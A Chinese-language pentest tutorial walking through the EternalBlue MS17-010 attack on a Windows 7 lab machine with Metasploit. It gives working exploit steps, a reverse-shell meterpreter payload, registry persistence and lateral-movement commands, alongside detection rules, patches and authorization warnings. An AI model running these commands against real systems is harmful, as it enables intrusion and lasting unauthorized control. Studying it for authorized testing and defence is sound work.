1. 环境准备与漏洞背景永恒之蓝MS17-010是2017年曝出的Windows SMB协议高危漏洞攻击者通过445端口发送特制数据包就能实现远程代码执行。我在实际渗透测试中发现至今仍有大量未打补丁的Windows 7系统存在这个漏洞。下面以Kali Linux 2023.4和Windows 7 SP1 x64为例演示完整攻击链。实验环境搭建要点确保攻击机Kali和靶机Win7处于同一局域网Windows 7需要关闭防火墙控制面板→系统和安全→Windows防火墙→关闭建议使用NAT网络模式避免干扰真实网络在Win7运行ipconfig确认IP地址我这里的靶机IP是192.168.136.129注意本文仅用于授权测试场景实际操作前务必获得书面授权2. 漏洞探测阶段2.1 使用辅助模块扫描在Kali终端启动MSFconsole后第一步是确认目标是否存在漏洞msf6 search ms17_010你会看到返回的模块列表我们先用扫描模块验证msf6 use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) show options关键参数配置示例set RHOSTS 192.168.136.129 set THREADS 10 # 多线程加速扫描 exploit当看到Host is likely VULNERABLE时就像我去年给某企业做渗透时遇到的场景——他们的文件服务器居然还挂着这个漏洞当时吓得运维主管当场打了补丁。2.2 扫描结果深度解读除了简单的漏洞存在确认扫描结果还隐藏着重要信息操作系统版本如Windows 7 Professional 7601系统架构x64/x86SMB服务版本这些信息会直接影响后续攻击模块的选择。有次我遇到扫描显示存在漏洞但攻击失败的情况后来发现是目标系统打了部分补丁但未完全修复这时候就需要尝试其他攻击向量。3. 漏洞利用实战3.1 永恒之蓝攻击模块配置确认漏洞存在后切换到攻击模块msf6 use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) show options必须设置的参数set RHOSTS 192.168.136.129 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.136.128 # Kali的IP高级技巧如果目标系统是x86架构需要改用windows/meterpreter/reverse_tcp内网穿透场景需要设置set ReverseListenerBindAddress遇到不稳定时可以尝试set EnableContextEncoding true3.2 攻击执行与会话维持执行exploit后你会看到经典的WIN提示。这时候新手常犯的错误是以为卡住了——其实需要按回车激活meterpreter会话。成功后的操作示例meterpreter getuid Server username: NT AUTHORITY\SYSTEM meterpreter sysinfo Computer : WIN-7X64 OS : Windows 7 (6.1 Build 7601, Service Pack 1) Architecture : x64建议立即进行权限维持meterpreter run persistence -X -i 30 -p 443 -r 192.168.136.128我在某次红队行动中发现超过60%的成功攻击会因为会话丢失而前功尽弃。这个persistence模块会创建注册表自启动项即使目标重启也能维持访问。4. 防御与检测方案4.1 企业级防护措施根据我在金融行业的安全运维经验有效的防御策略应该包括网络层控制关闭不必要的445端口访问部署IDS规则检测异常SMB流量如Suricata规则alert tcp any any - any 445 (msg:ET EXPLOIT Possible EternalBlue Exploit; flow:established,to_server; content:|FF|SMB|2|; depth:5; ...)终端防护安装KB4012212等安全补丁启用Windows Defender攻击面减少规则4.2 攻击痕迹排查当怀疑系统被入侵时可以检查这些关键点系统日志事件ID 4624异常登录注册表路径HKLM\Software\Microsoft\Windows\CurrentVersion\Run下的可疑项新增的隐藏用户账户异常进程如突然出现的powershell连接外部IP有次应急响应中我们就是通过分析SMB日志中的异常大流量数据包发现了攻击者遗留的恶意模块。5. 进阶攻击手法5.1 绕过部分补丁的系统对于打了补丁但配置不当的系统可以尝试use exploit/windows/smb/smb_doublepulsar_rce set DESTINATION 192.168.136.129 set PAYLOAD windows/x64/meterpreter/reverse_tcp5.2 内网横向移动获取初始立足点后常用的内网渗透手法meterpreter run post/windows/gather/enum_shares meterpreter run post/multi/manage/autoroute配合proxychains实现内网扫描proxychains nmap -sT -Pn 10.10.10.0/24去年在某次授权测试中我们就是通过这个漏洞突破边界服务器最终拿到了域控权限。整个过程就像推倒多米诺骨牌一个漏洞就能引发连锁反应。6. 合法性与道德规范必须强调未经授权的渗透测试属于违法行为。我在安全团队工作时每次测试前都会要求客户签署详细的授权书明确测试范围和时间窗口。建议学习者使用自己搭建的虚拟环境练习推荐以下安全配置VirtualBox虚拟网络设置为仅主机(Host-Only)模式为靶机创建快照便于恢复在物理隔离环境中进行实验